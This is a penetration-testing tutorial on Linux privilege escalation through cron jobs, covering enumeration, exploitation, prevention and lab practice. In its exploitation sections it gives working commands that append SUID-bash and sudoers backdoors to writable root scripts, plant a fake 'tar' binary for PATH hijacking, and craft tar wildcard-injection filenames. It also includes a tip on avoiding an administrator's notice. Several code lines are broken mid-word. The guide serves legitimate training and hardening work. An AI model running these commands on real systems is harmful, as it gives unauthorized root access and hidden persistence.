

# Linux Privilege Escalation: Cron Jobs

Where your SUID and Capabilities guides both exploited a **binary's own elevated permissions**, cron jobs introduce a genuinely different exploitation category: a task that **already runs as root, on a schedule, with no attacker interaction required at execution time**. You don't need to trick anything into elevating your privileges — you just need to get your own code positioned somewhere root's scheduled task will run it for you, then wait. Worth locking in the distinction immediately: **Part 1 covers finding and understanding exploitable cron configurations — Part 2 covers the actual exploitation techniques**, since cron abuse splits cleanly into a handful of genuinely distinct patterns (writable scripts, PATH issues, wildcard injection) each worth understanding separately.

## 1. Why Root's Scheduled Tasks Are a Distinct Attack Surface — The Foundation

**cron** is Linux's time-based job scheduler — a daemon that reads schedule definitions and executes the specified command at the specified time, running as whichever user owns that schedule entry. Root frequently has cron jobs of its own (backups, log rotation, cleanup scripts, monitoring checks) defined in system-wide crontabs.

```
Root's crontab entry: * * * * * /opt/scripts/backup.sh
→ this script runs as ROOT, on schedule, automatically, with
   NO attacker interaction needed at the moment of execution

If /opt/scripts/backup.sh is WRITABLE by a lower-privileged user
→ that user can simply REPLACE the script's contents with
   arbitrary commands, and root's own scheduler will execute
   those commands as root the next time the schedule fires
```

**The single fact underlying every technique in this guide — a cron job runs with the permissions of the user who OWNS the crontab entry, not the permissions of whoever last modified the underlying script or binary being called — meaning any gap between "who can write to this script" and "who**

owns the crontab calling it" is a direct, often fully automatic privilege escalation path.

---

## PART 1: Finding Exploitable Cron Configurations

### 2. Enumerating Existing Cron Jobs

```
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
/etc/cron.monthly/
crontab -l                # current user's own crontab
crontab -l -u root        # root's crontab, if readable
cat /var/spool/cron/crontabs/* # per-user crontab storage
location
                                # (path varies by distr
o)
```

Standard crontab line format:

| minute | hour | day | month | weekday | user | command                |
|--------|------|-----|-------|---------|------|------------------------|
| *      | *    | *   | *     | *       | root | /opt/scripts/backup.sh |

/etc/cron.d/, /etc/cron.daily/, etc. hold SYSTEM-level scheduled jobs, frequently root-owned, and are worth checking even if a user's OWN crontab looks unremarkable

### 3. Checking Permissions on Everything a Cron Job Touches

The actual vulnerability rarely lives in the crontab entry itself — it lives in the **permissions of the script/binary the entry calls**:

```
# For every script referenced in a discovered crontab entr
y:
ls -la /opt/scripts/backup.sh
# is it writable by YOUR current user or group?

find / -writable -type f 2>/dev/null | grep -f <(crontab -l
| awk '{print $6}')
```

This directly foreshadows the dedicated Writable Files guide later in this series — a writable cron script is really a specific, high-value INSTANCE of the broader "writable file owned/used by a more-privileged process" category that guide covers in full.

## 4. Checking Directory Permissions, Not Just File Permissions

Even if the script file itself is properly locked down, an attacker-writable **containing directory** is equally exploitable — a writable directory allows deleting and recreating the file entirely, sidestepping the file's own permissions:

```
ls -la /opt/scripts/    # is the DIRECTORY writable, even if
                        # backup.sh itself isn't?
```

## 5. Frequency as a Practical Filter

```
* * * * *    → every minute - HIGHLY practical to exploit and wait for
0 * * * *    → every hour - still very practical
0 0 * * *    → daily - workable, just requires more patience
0 0 1 * *    → monthly - technically exploitable, rarely worth
                the wait in a time-boxed engagement unless combined
                with a way to manually trigger it early
```

---

# PART 2: Exploitation Techniques

## 6. Direct Script Modification — The Straightforward Case

If Section 3's permission check confirms a root-owned cron script is writable by your current user:

```
echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh
# or, for a more controlled outcome:
echo 'echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /opt/scripts/backup.sh
# wait for the cron schedule to fire, then:
/bin/bash -p
```

Appending rather than overwriting is generally preferred when possible - preserves the script's original legitimate function (reducing the chance an admin notices something visibly broken) while still executing your injected payload alongside it

## 7. PATH-Based Cron Hijacking — When a Script Calls a Bare Command Name

If a root cron script internally invokes a program **without a full path** (e.g. `tar`, `cp`, a custom internal tool name), and the cron environment's `$PATH` includes a directory you can write to BEFORE the legitimate binary's actual location, you can substitute a malicious binary of the same name:

```
cat /etc/crontab
# note the PATH= line often explicitly defined at the top of
# system crontabs, e.g.:
# PATH=/usr/local/sbin:/usr/local/bin:/tmp:/usr/sbin:/usr/bin

# if /tmp is writable AND appears in that PATH BEFORE the real binary's
# directory:
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/tar
chmod +x /tmp/tar
# wait for the cron job to fire and call "tar" internally
```

This is the direct cron-specific instance of the technique the dedicated PATH Hijacking guide covers in general — cron is simply one of the most common REAL contexts where this general technique gets applied in practice, since crontabs frequently define their own explicit (and sometimes carelessly ordered) `$PATH`.

## 8. Wildcard Injection — Abusing Unquoted Wildcards in Cron Scripts

A specific, well-documented technique (sometimes called the "wildcard injection" or "tar wildcard" trick) exploits scripts that call `tar`, `chown`, `rsync`, or similar commands with an unquoted wildcard (`*`) over a directory an attacker

can write files into — certain commands interpret filenames beginning with a dash as COMMAND-LINE OPTIONS rather than filenames:

```
# if root's cron script runs something like:
#   tar -czf /backup/archive.tar.gz *
# from within a directory YOU can write files into:

echo '' > /path/to/writable/dir/--checkpoint=1
echo '' > "/path/to/writable/dir/--checkpoint-action=exec=s
h backdoor.sh"
echo 'chmod u+s /bin/bash' > /path/to/writable/dir/backdoor.sh
chmod +x /path/to/writable/dir/backdoor.sh
# wait for the cron job's tar command to expand the wildcard and
# treat your specially-named files as tar OPTIONS instead of
# filenames
```

This works because tar's wildcard expansion happens at the SHELL level before tar ever sees the arguments - the shell expands \* into a literal list of filenames, and if some of those filenames happen to start with -- and match a real tar flag, tar interprets them as flags, not as files to archive - a genuinely subtle but well-documented and reliable technique when the pattern applies

## 9. Environment Variable Injection in Crontab Entries

Some crontab formats allow setting environment variables directly within the crontab file itself, which then apply to every job below that line — if the crontab file itself is writable (a less common but real finding), injecting a malicious `PATH`, `SHELL`, or similar variable achieves the same outcome as Section 7 without needing to find a pre-existing PATH gap.

## 10. Testing Methodology

1. Enumerate every crontab location (Section 2) - system-wide files AND per-user spool directories, don't rely on ``crontab -l`` alone
2. For every discovered entry referencing a script/binary, check BOTH file permissions (Section 3) and containing directory permissions (Section 4)

3. Note the schedule frequency (Section 5) to gauge practical wait time before committing to a technique
4. If nothing is directly writable, examine each script's CONTENTS for bare (non-full-path) command invocations (Section 7) and unquoted wildcard usage over an attacker-writable directory (Section 8)
5. pspy (a process-monitoring tool that doesn't require root to observe process execution) is the standard companion tool here - it lets you OBSERVE cron jobs actually firing in real time, confirming exact command lines and timing without needing to read the crontab directly at all

## 11. Prevention

- Ensure cron scripts and their containing directories are owned and writable ONLY by the same privilege level as the crontab entry itself (root-owned scripts should be root-writable ONLY)
- Always use FULL, absolute paths for every command invoked within a cron script - never rely on \$PATH resolution (directly mirrors your SUID guide's Section 10 prevention point)
- Quote wildcards explicitly or avoid wildcard expansion entirely in scripts handling files from a directory writable by lower-privileged users; where genuinely needed, use tar's -- argument to explicitly terminate option parsing before the wildcard expansion (Section 8's specific mitigation)
- Regularly audit crontab entries and their referenced scripts as part of standard system hardening review, not just at initial deployment
- Consider running scheduled tasks under a DEDICATED, minimally-privileged service account rather than root wherever the task's actual function doesn't require full root

## 12. Practical Lab Example

TryHackMe's "Linux PrivEsc" and HTB Academy's privilege escalation modules both include dedicated cron-based boxes; the wildcard injection technique specifically (Section 8) has well-known standalone CTF-style lab writeups worth working through given how subtle the underlying mechanism is compared to the other techniques in this guide.

Suggested practice order:

1. Set up a root cron job on a lab VM calling a script you can make writable, and practice Section 6's direct modification first
2. Modify the script to call a bare command name and adjust the crontab's PATH= line to include a writable directory first (Section 7)
3. Set up the classic tar-wildcard scenario (Section 8) and work

through constructing the `--checkpoint-action` payload yourself, rather than copying a premade one - understanding WHY it works is the actual point of this exercise

## Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

| Framework         | Mapping                                                                                                                                                                                      |
|-------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CWE               | CWE-732 (Incorrect Permission Assignment for Critical Resource - covering Sections 3-4's writable script/directory findings), CWE-427 (Uncontrolled Search Path Element, covering Section 7) |
| OWASP Top 10:2025 | A02:2025 Security Misconfiguration                                                                                                                                                           |
| CVSS              | High/Critical (identical profile to your SUID/Capabilities guides, since successful exploitation yields root) - PR:L reflects the low-privilege starting point typical of this technique     |
| Cyber Kill Chain  | Privilege Escalation, with a notable PERSISTENCE overlap - a writable cron job is also a classic mechanism for maintaining access after initial compromise, not purely an escalation vector  |
| MITRE ATT&CK      | T1053.003 (Scheduled Task/Job: Cron) - covers both this guide's escalation use case AND the closely related persistence use case under the same technique ID                                 |

## Quick Reference Cheat Sheet

### ENUMERATE:

```
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.{hourly,daily,weekly,monthly}/
crontab -l ; crontab -l -u root
cat /var/spool/cron/crontabs/*
```

### CHECK PERMISSIONS on everything referenced:

```
ls -la <script_path>          → file itself writable?
ls -la <containing_directory> → directory writable (delete+recreate)?
```

### EXPLOITATION PATTERNS:

1. Writable script → append/overwrite malicious commands
2. Bare command + writable PATH entry → drop malicious binary of same name earlier in PATH
3. Unquoted wildcard over writable directory → craft filenames starting with `--` that get interpreted as command flags

COMPANION TOOL: `pspy` - observe cron jobs firing in real time without needing read access to the crontab files themselves

Root lesson: cron abuse doesn't require tricking anything into elevating privileges at exploit time - the privilege is already there, scheduled and waiting; the entire skill is finding where the gap sits between "who wrote/controls the code that runs" and "who the scheduler runs it AS."

---